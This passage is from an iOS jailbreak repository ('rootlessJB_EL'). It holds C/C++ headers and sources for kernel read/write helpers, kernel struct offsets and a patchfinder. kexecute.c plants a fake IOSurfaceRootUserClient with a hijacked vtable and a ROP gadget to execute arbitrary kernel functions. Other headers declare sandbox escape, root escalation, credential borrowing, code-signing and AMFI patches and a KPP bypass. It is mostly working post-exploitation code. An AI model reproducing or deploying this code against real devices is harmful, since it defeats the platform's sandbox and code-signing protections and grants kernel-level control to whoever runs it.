IOAsyncCompletionContent; 110 | #endif 111 | 112 | #ifdef __cplusplus 113 | } 114 | #endif 115 | 116 | #endif /* __OS_OSMESSAGENOTIFICATION_H */ 117 | 118 | -------------------------------------------------------------------------------- /empty_list/jelbrek/include/IOKit/Readme.md: -------------------------------------------------------------------------------- 1 | IOKit for iOS SDK7.0 2 | ======= 3 | 4 | ![](https://github.com/obaby/IOKit/blob/master/screenshot.jpg?raw=true) 5 | 6 | 在某些时候可能会用到IOKit来获取一些信息,但是将sdk从6.x升级到7.0的sdk之后就会发现那个libIOKit.dylib找不到了。晚上的办法是将6.x的sdk复制到7.0的sdk下,或者创建一个符号链接。 7 | 8 | 其实还有另外的一个解决办法,在7.0之后这个东西只是不是dylib了,而是成了一个framework。在这个目录下 9 | 10 | /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS7.0.sdk/System/Library/Frameworks/IOKit.framework,所以只需要将工程中的iokit用framework替换掉就可以了。另外这个并没有头文件,如果要用也得自己去提取相关的头文件。可以用classdump来生成。我用的是apple xun中的头文件,效果是一样的,这里整理了一下,需要的直接放入工程目录下引入IOKitLib.h就可以了。 -------------------------------------------------------------------------------- /empty_list/jelbrek/include/IOKit/screenshot.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/jelbrek/include/IOKit/screenshot.jpg -------------------------------------------------------------------------------- /empty_list/jelbrek/inject_criticald.h: -------------------------------------------------------------------------------- 1 | int inject_dylib(pid_t pid, char *loaded_dylib); 2 | uint64_t binary_load_address(mach_port_t tp); 3 | -------------------------------------------------------------------------------- /empty_list/jelbrek/jelbrek.h: -------------------------------------------------------------------------------- 1 | #include "QiLin.h" 2 | 3 | void init_jelbrek(mach_port_t tfp0, uint64_t kernel_base); 4 | int trustbin(const char *path); 5 | BOOL unsandbox(pid_t pid); 6 | void setcsflags(pid_t pid); 7 | BOOL get_root(pid_t pid); 8 | void remount1126(void); 9 | int mountDevAtPathAsRW(const char* devpath, const char* path); 10 | int remount1131(void); 11 | void platformize(pid_t pid); 12 | void entitlePid(pid_t pid, const char *ent1, _Bool val1); 13 | int launch(char *binary, char *arg1, char *arg2, char *arg3, char *arg4, char *arg5, char *arg6, char**env); 14 | int launchAsPlatform(char *binary, char *arg1, char *arg2, char *arg3, char *arg4, char *arg5, char *arg6, char**env); 15 | void undoCredDonation(uint64_t selfcred); 16 | uint64_t borrowCredsFromPid(pid_t donor); 17 | uint64_t borrowCredsFromDonor(char *binary); 18 | 19 | -------------------------------------------------------------------------------- /empty_list/jelbrek/kern_utils.h: -------------------------------------------------------------------------------- 1 | // 2 | // fun_utils.h 3 | // async_wake_ios 4 | // 5 | // Created by George on 18/12/17. 6 | // Copyright © 2017 Ian Beer. All rights reserved. 7 | // 8 | 9 | #ifndef fun_utils_h 10 | #define fun_utils_h 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | // Needed definitions 24 | kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags); 25 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); 26 | kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); 27 | kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size); 28 | 29 | // "General" purpose 30 | uint8_t *get_sha256(uint8_t* code_dir); 31 | uint8_t *get_code_directory(const char* name); 32 | int cp(const char *from, const char *to); 33 | int file_exist(char *filename); 34 | 35 | // Kernel utility stuff 36 | void init_kernel_utils(mach_port_t tfp0); 37 | uint64_t kalloc(vm_size_t size); 38 | void kfree(mach_vm_address_t address, vm_size_t size); 39 | size_t kread(uint64_t where, void *p, size_t size); 40 | uint32_t kread32(uint64_t where); 41 | uint64_t kread64(uint64_t where); 42 | size_t kwrite(uint64_t where, const void *p, size_t size); 43 | void kwrite32(uint64_t where, uint32_t what); 44 | void kwrite64(uint64_t where, uint64_t what); 45 | void kmemcpy(uint64_t dest, uint64_t src, uint32_t length); 46 | mach_port_t fake_host_priv(void); 47 | uint64_t zm_fix_addr(uint64_t addr); 48 | uint64_t proc_for_pid(pid_t pid); 49 | uint64_t proc_for_name(char *nm); 50 | unsigned int pid_for_name(char *nm); 51 | uint64_t find_port_address(mach_port_name_t port); 52 | uint64_t task_self_addr(void); 53 | uint64_t kmem_alloc_wired(uint64_t size); 54 | uint64_t find_kernproc(void); 55 | uint64_t find_kernel_base(void); 56 | uint64_t getVnodeAtPath(const char *path); 57 | #endif /* fun_utils_h */ 58 | -------------------------------------------------------------------------------- /empty_list/jelbrek/kexecute.c: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include "kern_utils.h" 4 | #include "kexecute.h" 5 | #include "patchfinder64.h" 6 | #include "offsetof.h" 7 | #include 8 | 9 | mach_port_t prepare_user_client(void) { 10 | kern_return_t err; 11 | mach_port_t user_client; 12 | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); 13 | 14 | if (service == IO_OBJECT_NULL){ 15 | printf(" [-] unable to find service\n"); 16 | exit(EXIT_FAILURE); 17 | } 18 | 19 | err = IOServiceOpen(service, mach_task_self(), 0, &user_client); 20 | if (err != KERN_SUCCESS){ 21 | printf(" [-] unable to get user client connection\n"); 22 | exit(EXIT_FAILURE); 23 | } 24 | 25 | 26 | // 27 | printf("got user client: 0x%x\n", user_client); 28 | return user_client; 29 | } 30 | 31 | // TODO: Consider removing this - jailbreakd runs all kernel ops on the main thread 32 | pthread_mutex_t kexecute_lock; 33 | static mach_port_t user_client; 34 | static uint64_t IOSurfaceRootUserClient_port; 35 | static uint64_t IOSurfaceRootUserClient_addr; 36 | static uint64_t fake_vtable; 37 | static uint64_t fake_client; 38 | const int fake_kalloc_size = 0x1000; 39 | 40 | void init_kexecute(void) { 41 | user_client = prepare_user_client(); 42 | 43 | // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable 44 | IOSurfaceRootUserClient_port = find_port_address(user_client); // UserClients are just mach_ports, so we find its address 45 | // 46 | printf("Found port: 0x%llx\n", IOSurfaceRootUserClient_port); 47 | 48 | IOSurfaceRootUserClient_addr = kread64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field 49 | // 50 | printf("Found addr: 0x%llx\n", IOSurfaceRootUserClient_addr); 51 | 52 | uint64_t IOSurfaceRootUserClient_vtab = kread64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object 53 | // 54 | printf("Found vtab: 0x%llx\n", IOSurfaceRootUserClient_vtab); 55 | 56 | // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one 57 | // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel 58 | 59 | 60 | // Create the vtable in the kernel memory, then copy the existing vtable into there 61 | fake_vtable = kalloc(fake_kalloc_size); 62 | // 63 | printf("Created fake_vtable at %016llx\n", fake_vtable); 64 | 65 | for (int i = 0; i < 0x200; i++) { 66 | kwrite64(fake_vtable+i*8, kread64(IOSurfaceRootUserClient_vtab+i*8)); 67 | } 68 | 69 | // 70 | printf("Copied some of the vtable over\n"); 71 | 72 | // Create the fake user client 73 | fake_client = kalloc(fake_kalloc_size); 74 | // 75 | printf("Created fake_client at %016llx\n", fake_client); 76 | 77 | for (int i = 0; i < 0x200; i++) { 78 | kwrite64(fake_client+i*8, kread64(IOSurfaceRootUserClient_addr+i*8)); 79 | } 80 | 81 | // 82 | printf("Copied the user client over\n"); 83 | 84 | // Write our fake vtable into the fake user client 85 | kwrite64(fake_client, fake_vtable); 86 | 87 | // Replace the user client with ours 88 | kwrite64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client); 89 | 90 | // Now the userclient port we have will look into our fake user client rather than the old one 91 | 92 | // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;) 93 | kwrite64(fake_vtable+8*0xB7, find_add_x0_x0_0x40_ret()); 94 | 95 | // 96 | printf("Wrote the `add x0, x0, #0x40; ret;` gadget over getExternalTrapForIndex"); 97 | 98 | pthread_mutex_init(&kexecute_lock, NULL); 99 | } 100 | 101 | void term_kexecute(void) { 102 | kwrite64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr); 103 | kfree(fake_vtable, fake_kalloc_size); 104 | kfree(fake_client, fake_kalloc_size); 105 | } 106 | 107 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) { 108 | pthread_mutex_lock(&kexecute_lock); 109 | 110 | // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex 111 | // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap. 112 | // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the 113 | // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed 114 | // through like normal. 115 | 116 | // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it 117 | // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents 118 | // (i'm not actually sure if the switch back is necessary but meh) 119 | 120 | uint64_t offx20 = kread64(fake_client+0x40); 121 | uint64_t offx28 = kread64(fake_client+0x48); 122 | kwrite64(fake_client+0x40, x0); 123 | kwrite64(fake_client+0x48, addr); 124 | uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6)); 125 | kwrite64(fake_client+0x40, offx20); 126 | kwrite64(fake_client+0x48, offx28); 127 | 128 | pthread_mutex_unlock(&kexecute_lock); 129 | 130 | return returnval; 131 | } 132 | -------------------------------------------------------------------------------- /empty_list/jelbrek/kexecute.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6); 5 | void init_kexecute(void); 6 | void term_kexecute(void); 7 | -------------------------------------------------------------------------------- /empty_list/jelbrek/libjb.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/jelbrek/libjb.a -------------------------------------------------------------------------------- /empty_list/jelbrek/libjb.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #ifndef libjb_h_included 4 | #define libjb_h_included 5 | 6 | 7 | 8 | /* libhfs *******************************************************************/ 9 | 10 | enum { 11 | kPermOtherExecute = 1 << 0, 12 | kPermOtherWrite = 1 << 1, 13 | kPermOtherRead = 1 << 2, 14 | kPermGroupExecute = 1 << 3, 15 | kPermGroupWrite = 1 << 4, 16 | kPermGroupRead = 1 << 5, 17 | kPermOwnerExecute = 1 << 6, 18 | kPermOwnerWrite = 1 << 7, 19 | kPermOwnerRead = 1 << 8, 20 | kPermMask = 0x1FF, 21 | kOwnerNotRoot = 1 << 9, 22 | kFileTypeUnknown = 0x0 << 16, 23 | kFileTypeFlat = 0x1 << 16, 24 | kFileTypeDirectory = 0x2 << 16, 25 | kFileTypeLink = 0x3 << 16, 26 | kFileTypeMask = 0x3 << 16 27 | }; 28 | 29 | typedef long CICell; 30 | 31 | extern char *gLoadAddr; /* buffer of size 32MB (max file size) */ 32 | 33 | CICell HFSOpen(const char *filename, long offset); 34 | long HFSReadFile(CICell ih, char *filePath, void *base, unsigned long offset, unsigned long length); 35 | long HFSGetDirEntry(CICell ih, char *dirPath, unsigned long *dirIndex, char **name, long *flags, long *time); 36 | void HFSClose(CICell); 37 | 38 | /* untar ********************************************************************/ 39 | 40 | /* untar 'a' to current directory. path is name of archive (informational) */ 41 | void untar(FILE *a, const char *path); 42 | 43 | /* launchctl ****************************************************************/ 44 | 45 | int launchctl_load_cmd(const char *filename, int do_load, int opt_force, int opt_write); 46 | 47 | /* hashes *******************************************************************/ 48 | 49 | struct trust_dsk { 50 | unsigned int version; 51 | unsigned char uuid[16]; 52 | unsigned int count; 53 | //unsigned char data[]; 54 | } __attribute__((packed)); 55 | 56 | struct trust_mem { 57 | uint64_t next; //struct trust_mem *next; 58 | unsigned char uuid[16]; 59 | unsigned int count; 60 | //unsigned char data[]; 61 | } __attribute__((packed)); 62 | 63 | struct hash_entry_t { 64 | uint16_t num; 65 | uint16_t start; 66 | } __attribute__((packed)); 67 | 68 | typedef uint8_t hash_t[20]; 69 | 70 | extern hash_t *allhash; 71 | extern unsigned numhash; 72 | extern struct hash_entry_t *amfitab; 73 | extern hash_t *allkern; 74 | 75 | /* can be called multiple times. kernel read func & amfi/top trust chain block are optional */ 76 | int grab_hashes(const char *root, size_t (*kread)(uint64_t, void *, size_t), uint64_t amfi, uint64_t top); 77 | 78 | #endif 79 | -------------------------------------------------------------------------------- /empty_list/jelbrek/liboffsetfinder64.hpp: -------------------------------------------------------------------------------- 1 | // 2 | // offsetfinder64.hpp 3 | // offsetfinder64 4 | // 5 | // Created by tihmstar on 10.01.18. 6 | // Copyright © 2018 tihmstar. All rights reserved. 7 | // 8 | 9 | #ifndef offsetfinder64_hpp 10 | #define offsetfinder64_hpp 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | #include 20 | 21 | typedef uint64_t offset_t; 22 | 23 | 24 | namespace tihmstar { 25 | 26 | class exception : public std::exception{ 27 | std::string _err; 28 | int _code; 29 | public: 30 | exception(int code, std::string err) : _err(err), _code(code) {}; 31 | exception(std::string err) : _err(err), _code(0) {}; 32 | exception(int code) : _code(code) {}; 33 | const char *what(){return _err.c_str();} 34 | int code(){return _code;} 35 | }; 36 | namespace patchfinder64{ 37 | typedef uint8_t* loc_t; 38 | 39 | class patch{ 40 | bool _slideme; 41 | void(*_slidefunc)(class patch *patch, uint64_t slide); 42 | public: 43 | const loc_t _location; 44 | const void *_patch; 45 | const size_t _patchSize; 46 | patch(loc_t location, const void *patch, size_t patchSize, void(*slidefunc)(class patch *patch, uint64_t slide) = NULL) : _location(location), _patchSize(patchSize), _slidefunc(slidefunc){ 47 | _patch = malloc(_patchSize); 48 | memcpy((void*)_patch, patch, _patchSize); 49 | _slideme = (_slidefunc) ? true : false; 50 | } 51 | patch(const patch& cpy) : _location(cpy._location), _patchSize(cpy._patchSize){ 52 | _patch = malloc(_patchSize); 53 | memcpy((void*)_patch, cpy._patch, _patchSize); 54 | _slidefunc = cpy._slidefunc; 55 | _slideme = cpy._slideme; 56 | } 57 | void slide(uint64_t slide){ 58 | if (!_slideme) 59 | return; 60 | printf("sliding with %p\n",(void*)slide); 61 | _slidefunc(this,slide); 62 | _slideme = false; //only slide once 63 | } 64 | ~patch(){ 65 | free((void*)_patch); 66 | } 67 | 68 | }; 69 | } 70 | class offsetfinder64 { 71 | public: 72 | struct text_t{ 73 | patchfinder64::loc_t map; 74 | size_t size; 75 | patchfinder64::loc_t base; 76 | bool isExec; 77 | }; 78 | 79 | private: 80 | bool _freeKernel; 81 | uint8_t *_kdata; 82 | size_t _ksize; 83 | offset_t _kslide; 84 | patchfinder64::loc_t _kernel_entry; 85 | std::vector _segments; 86 | 87 | struct symtab_command *__symtab; 88 | void loadSegments(uint64_t slide); 89 | __attribute__((always_inline)) struct symtab_command *getSymtab(); 90 | 91 | public: 92 | offsetfinder64(const char *filename); 93 | offsetfinder64(void* buf, size_t size, uint64_t base); 94 | const void *kdata(); 95 | patchfinder64::loc_t find_entry(); 96 | const std::vector &segments(){return _segments;}; 97 | 98 | patchfinder64::loc_t memmem(const void *little, size_t little_len); 99 | 100 | patchfinder64::loc_t find_sym(const char *sym); 101 | patchfinder64::loc_t find_syscall0(); 102 | uint64_t find_register_value(patchfinder64::loc_t where, int reg, patchfinder64::loc_t startAddr = 0); 103 | 104 | /*------------------------ v0rtex -------------------------- */ 105 | patchfinder64::loc_t find_zone_map(); 106 | patchfinder64::loc_t find_kernel_map(); 107 | patchfinder64::loc_t find_kernel_task(); 108 | patchfinder64::loc_t find_realhost(); 109 | patchfinder64::loc_t find_bzero(); 110 | patchfinder64::loc_t find_bcopy(); 111 | patchfinder64::loc_t find_copyout(); 112 | patchfinder64::loc_t find_copyin(); 113 | patchfinder64::loc_t find_ipc_port_alloc_special(); 114 | patchfinder64::loc_t find_ipc_kobject_set(); 115 | patchfinder64::loc_t find_ipc_port_make_send(); 116 | patchfinder64::loc_t find_chgproccnt(); 117 | patchfinder64::loc_t find_kauth_cred_ref(); 118 | patchfinder64::loc_t find_osserializer_serialize(); 119 | uint32_t find_vtab_get_external_trap_for_index(); 120 | uint32_t find_vtab_get_retain_count(); 121 | uint32_t find_iouserclient_ipc(); 122 | uint32_t find_ipc_space_is_task(); 123 | uint32_t find_proc_ucred(); 124 | uint32_t find_task_bsd_info(); 125 | uint32_t find_vm_map_hdr(); 126 | uint32_t find_task_itk_self(); 127 | uint32_t find_task_itk_registered(); 128 | uint32_t find_sizeof_task(); 129 | 130 | patchfinder64::loc_t find_rop_add_x0_x0_0x10(); 131 | patchfinder64::loc_t find_rop_ldr_x0_x0_0x10(); 132 | 133 | 134 | /*------------------------ kernelpatches -------------------------- */ 135 | patchfinder64::patch find_i_can_has_debugger_patch_off(); 136 | patchfinder64::patch find_lwvm_patch_offsets(); 137 | patchfinder64::patch find_remount_patch_offset(); 138 | std::vector find_nosuid_off(); 139 | patchfinder64::patch find_proc_enforce(); 140 | patchfinder64::patch find_amfi_patch_offsets(); 141 | patchfinder64::patch find_cs_enforcement_disable_amfi(); 142 | patchfinder64::patch find_amfi_substrate_patch(); 143 | // patchfinder64::patch find_sandbox_patch(); 144 | patchfinder64::loc_t find_sbops(); 145 | patchfinder64::patch find_nonceEnabler_patch(); 146 | 147 | 148 | /*------------------------ KPP bypass -------------------------- */ 149 | patchfinder64::loc_t find_gPhysBase(); 150 | patchfinder64::loc_t find_kernel_pmap(); 151 | patchfinder64::loc_t find_cpacr_write(); 152 | patchfinder64::loc_t find_idlesleep_str_loc(); 153 | patchfinder64::loc_t find_deepsleep_str_loc(); 154 | 155 | /*------------------------ Util -------------------------- */ 156 | patchfinder64::loc_t find_rootvnode(); 157 | 158 | ~offsetfinder64(); 159 | }; 160 | using segment_t = std::vector; 161 | namespace patchfinder64{ 162 | 163 | loc_t find_literal_ref(segment_t segemts, offset_t kslide, loc_t pos); 164 | } 165 | } 166 | 167 | 168 | 169 | #endif /* offsetfinder64_hpp */ 170 | -------------------------------------------------------------------------------- /empty_list/jelbrek/libs/libimg4tool.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/jelbrek/libs/libimg4tool.a -------------------------------------------------------------------------------- /empty_list/jelbrek/libs/libmerged.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/jelbrek/libs/libmerged.a -------------------------------------------------------------------------------- /empty_list/jelbrek/libs/liboffsetfinder64.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/jelbrek/libs/liboffsetfinder64.a -------------------------------------------------------------------------------- /empty_list/jelbrek/libs/libplist++.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/jelbrek/libs/libplist++.a -------------------------------------------------------------------------------- /empty_list/jelbrek/libs/libplist.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/jelbrek/libs/libplist.a -------------------------------------------------------------------------------- /empty_list/jelbrek/offsetfinder.cpp: -------------------------------------------------------------------------------- 1 | // 2 | // rootfs_remount_offsetfinder.cpp 3 | // electra1131 4 | // 5 | // Created by CoolStar on 6/7/18. 6 | // Copyright © 2018 Electra Team. All rights reserved. 7 | // 8 | 9 | #include 10 | #include 11 | #include "liboffsetfinder64.hpp" 12 | 13 | using namespace std; 14 | using namespace tihmstar; 15 | 16 | extern "C" uint64_t ksym_vnode_lookup; 17 | extern "C" uint64_t ksym_vfs_current_context; 18 | extern "C" uint64_t ksym_vnode_put; 19 | 20 | extern "C" bool getOffsets(uint64_t slide) { 21 | printf("Initializing offsetfinder...\n"); 22 | offsetfinder64 fi("/System/Library/Caches/com.apple.kernelcaches/kernelcache"); 23 | printf("Initialized offsetfinder\n"); 24 | 25 | try { 26 | ksym_vfs_current_context = (uint64_t)fi.find_sym("_vfs_context_current"); 27 | ksym_vnode_lookup = (uint64_t)fi.find_sym("_vnode_lookup"); 28 | ksym_vnode_put = (uint64_t)fi.find_sym("_vnode_put"); 29 | 30 | printf("vfs_context_current: %p\n", (void *)ksym_vfs_current_context); 31 | printf("vnode_lookup: %p\n", (void *)ksym_vnode_lookup); 32 | printf("vnode_put: %p\n", (void *)ksym_vnode_put); 33 | 34 | return true; 35 | } catch (tihmstar::exception &e){ 36 | printf("offsetfinder failure! %d (%s)\n", e.code(), e.what()); 37 | return false; 38 | } catch (std::exception &e){ 39 | printf("fatal offsetfinder failure! %s\n", e.what()); 40 | return false; 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /empty_list/jelbrek/offsetof.c: -------------------------------------------------------------------------------- 1 | unsigned offsetof_p_pid = 0x10; // proc_t::p_pid 2 | unsigned offsetof_task = 0x18; // proc_t::task 3 | unsigned offsetof_p_uid = 0x30; // proc_t::p_uid 4 | unsigned offsetof_p_gid = 0x34; // proc_t::p_uid 5 | unsigned offsetof_p_ruid = 0x38; // proc_t::p_uid 6 | unsigned offsetof_p_rgid = 0x3c; // proc_t::p_uid 7 | unsigned offsetof_p_ucred = 0x100; // proc_t::p_ucred 8 | unsigned offsetof_p_csflags = 0x2a8; // proc_t::p_csflags 9 | unsigned offsetof_itk_self = 0xD8; // task_t::itk_self (convert_task_to_port) 10 | unsigned offsetof_itk_sself = 0xE8; // task_t::itk_sself (task_get_special_port) 11 | unsigned offsetof_itk_bootstrap = 0x2b8; // task_t::itk_bootstrap (task_get_special_port) 12 | unsigned offsetof_itk_space = 0x308; // task_t::itk_space 13 | unsigned offsetof_ip_mscount = 0x9C; // ipc_port_t::ip_mscount (ipc_port_make_send) 14 | unsigned offsetof_ip_srights = 0xA0; // ipc_port_t::ip_srights (ipc_port_make_send) 15 | unsigned offsetof_ip_kobject = 0x68; // ipc_port_t::ip_kobject 16 | unsigned offsetof_p_textvp = 0x248; // proc_t::p_textvp 17 | unsigned offsetof_p_textoff = 0x250; // proc_t::p_textoff 18 | unsigned offsetof_p_cputype = 0x2c0; // proc_t::p_cputype 19 | unsigned offsetof_p_cpu_subtype = 0x2c4; // proc_t::p_cpu_subtype 20 | unsigned offsetof_special = 2 * sizeof(long); // host::special 21 | unsigned offsetof_ipc_space_is_table = 0x20; // ipc_space::is_table?.. 22 | 23 | unsigned offsetof_ucred_cr_uid = 0x18; // ucred::cr_uid 24 | unsigned offsetof_ucred_cr_ruid = 0x1c; // ucred::cr_ruid 25 | unsigned offsetof_ucred_cr_svuid = 0x20; // ucred::cr_svuid 26 | unsigned offsetof_ucred_cr_ngroups = 0x24; // ucred::cr_ngroups 27 | unsigned offsetof_ucred_cr_groups = 0x28; // ucred::cr_groups 28 | unsigned offsetof_ucred_cr_rgid = 0x68; // ucred::cr_rgid 29 | unsigned offsetof_ucred_cr_svgid = 0x6c; // ucred::cr_svgid 30 | 31 | unsigned offsetof_v_type = 0x70; // vnode::v_type 32 | unsigned offsetof_v_id = 0x74; // vnode::v_id 33 | unsigned offsetof_v_ubcinfo = 0x78; // vnode::v_ubcinfo 34 | 35 | unsigned offsetof_ubcinfo_csblobs = 0x50; // ubc_info::csblobs 36 | 37 | unsigned offsetof_csb_cputype = 0x8; // cs_blob::csb_cputype 38 | unsigned offsetof_csb_flags = 0x12; // cs_blob::csb_flags 39 | unsigned offsetof_csb_base_offset = 0x16; // cs_blob::csb_base_offset 40 | unsigned offsetof_csb_entitlements_offset = 0x98; // cs_blob::csb_entitlements 41 | unsigned offsetof_csb_signer_type = 0xA0; // cs_blob::csb_signer_type 42 | unsigned offsetof_csb_platform_binary = 0xA4; // cs_blob::csb_platform_binary 43 | unsigned offsetof_csb_platform_path = 0xA8; // cs_blob::csb_platform_path 44 | 45 | unsigned offsetof_t_flags = 0x3a0; // task::t_flags 46 | 47 | unsigned offsetof_v_mount = 0xd8; // vnode::v_mount 48 | unsigned offsetof_v_specinfo = 0x78; // vnode::v_specinfo 49 | unsigned offsetof_specflags = 0x10; 50 | unsigned offsetof_mnt_flag = 0x70; // mount::mnt_flag 51 | unsigned offsetof_mnt_data = 0x8f8; // mount::mnt_data 52 | 53 | typedef unsigned long long uint64_t; 54 | 55 | uint64_t ksym_vnode_lookup = 0x0; 56 | uint64_t ksym_vfs_current_context = 0x0; 57 | uint64_t ksym_vnode_put = 0x0; 58 | uint64_t vfs_current_context = 0x0; 59 | -------------------------------------------------------------------------------- /empty_list/jelbrek/offsetof.h: -------------------------------------------------------------------------------- 1 | 2 | extern unsigned offsetof_p_pid; 3 | extern unsigned offsetof_task; 4 | extern unsigned offsetof_p_uid; 5 | extern unsigned offsetof_p_gid; 6 | extern unsigned offsetof_p_ruid; 7 | extern unsigned offsetof_p_rgid; 8 | extern unsigned offsetof_p_ucred; 9 | extern unsigned offsetof_p_csflags; 10 | extern unsigned offsetof_itk_self; 11 | extern unsigned offsetof_itk_sself; 12 | extern unsigned offsetof_itk_bootstrap; 13 | extern unsigned offsetof_itk_space; 14 | extern unsigned offsetof_ip_mscount; 15 | extern unsigned offsetof_ip_srights; 16 | extern unsigned offsetof_ip_kobject; 17 | extern unsigned offsetof_p_textvp; 18 | extern unsigned offsetof_p_textoff; 19 | extern unsigned offsetof_p_cputype; 20 | extern unsigned offsetof_p_cpu_subtype; 21 | extern unsigned offsetof_special; 22 | extern unsigned offsetof_ipc_space_is_table; 23 | 24 | extern unsigned offsetof_ucred_cr_uid; 25 | extern unsigned offsetof_ucred_cr_ruid; 26 | extern unsigned offsetof_ucred_cr_gid; 27 | extern unsigned offsetof_ucred_cr_rgid; 28 | extern unsigned offsetof_ucred_cr_svgid; 29 | extern unsigned offsetof_ucred_cr_groups; 30 | extern unsigned offsetof_ucred_cr_ngroups; 31 | extern unsigned offsetof_ucred_cr_svuid; 32 | 33 | extern unsigned offsetof_v_type; 34 | extern unsigned offsetof_v_id; 35 | extern unsigned offsetof_v_ubcinfo; 36 | 37 | extern unsigned offsetof_ubcinfo_csblobs; 38 | 39 | extern unsigned offsetof_csb_cputype; 40 | extern unsigned offsetof_csb_flags; 41 | extern unsigned offsetof_csb_base_offset; 42 | extern unsigned offsetof_csb_entitlements_offset; 43 | extern unsigned offsetof_csb_signer_type; 44 | extern unsigned offsetof_csb_platform_binary; 45 | extern unsigned offsetof_csb_platform_path; 46 | 47 | extern unsigned offsetof_t_flags; 48 | 49 | extern unsigned offsetof_v_mount; 50 | extern unsigned offsetof_v_specinfo; 51 | extern unsigned offsetof_specflags; 52 | extern unsigned offsetof_mnt_flag; 53 | extern unsigned offsetof_mnt_data; 54 | 55 | extern uint64_t ksym_vnode_lookup; 56 | extern uint64_t ksym_vfs_current_context; 57 | extern uint64_t ksym_vnode_put; 58 | extern uint64_t vfs_current_context; 59 | 60 | #define CS_VALID 0x0000001 /* dynamically valid */ 61 | #define CS_ADHOC 0x0000002 /* ad hoc signed */ 62 | #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */ 63 | #define CS_INSTALLER 0x0000008 /* has installer entitlement */ 64 | 65 | #define CS_HARD 0x0000100 /* don't load invalid pages */ 66 | #define CS_KILL 0x0000200 /* kill process if it becomes invalid */ 67 | #define CS_CHECK_EXPIRATION 0x0000400 /* force expiration checking */ 68 | #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */ 69 | #define CS_ENFORCEMENT 0x0001000 /* require enforcement */ 70 | #define CS_REQUIRE_LV 0x0002000 /* require library validation */ 71 | #define CS_ENTITLEMENTS_VALIDATED 0x0004000 72 | 73 | #define CS_ALLOWED_MACHO 0x00ffffe 74 | 75 | #define CS_EXEC_SET_HARD 0x0100000 /* set CS_HARD on any exec'ed process */ 76 | #define CS_EXEC_SET_KILL 0x0200000 /* set CS_KILL on any exec'ed process */ 77 | #define CS_EXEC_SET_ENFORCEMENT 0x0400000 /* set CS_ENFORCEMENT on any exec'ed process */ 78 | #define CS_EXEC_SET_INSTALLER 0x0800000 /* set CS_INSTALLER on any exec'ed process */ 79 | 80 | #define CS_KILLED 0x1000000 /* was killed by kernel for invalidity */ 81 | #define CS_DYLD_PLATFORM 0x2000000 /* dyld used to load this is a platform binary */ 82 | #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */ 83 | #define CS_PLATFORM_PATH 0x8000000 /* platform binary by the fact of path (osx only) */ 84 | 85 | #define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */ 86 | #define 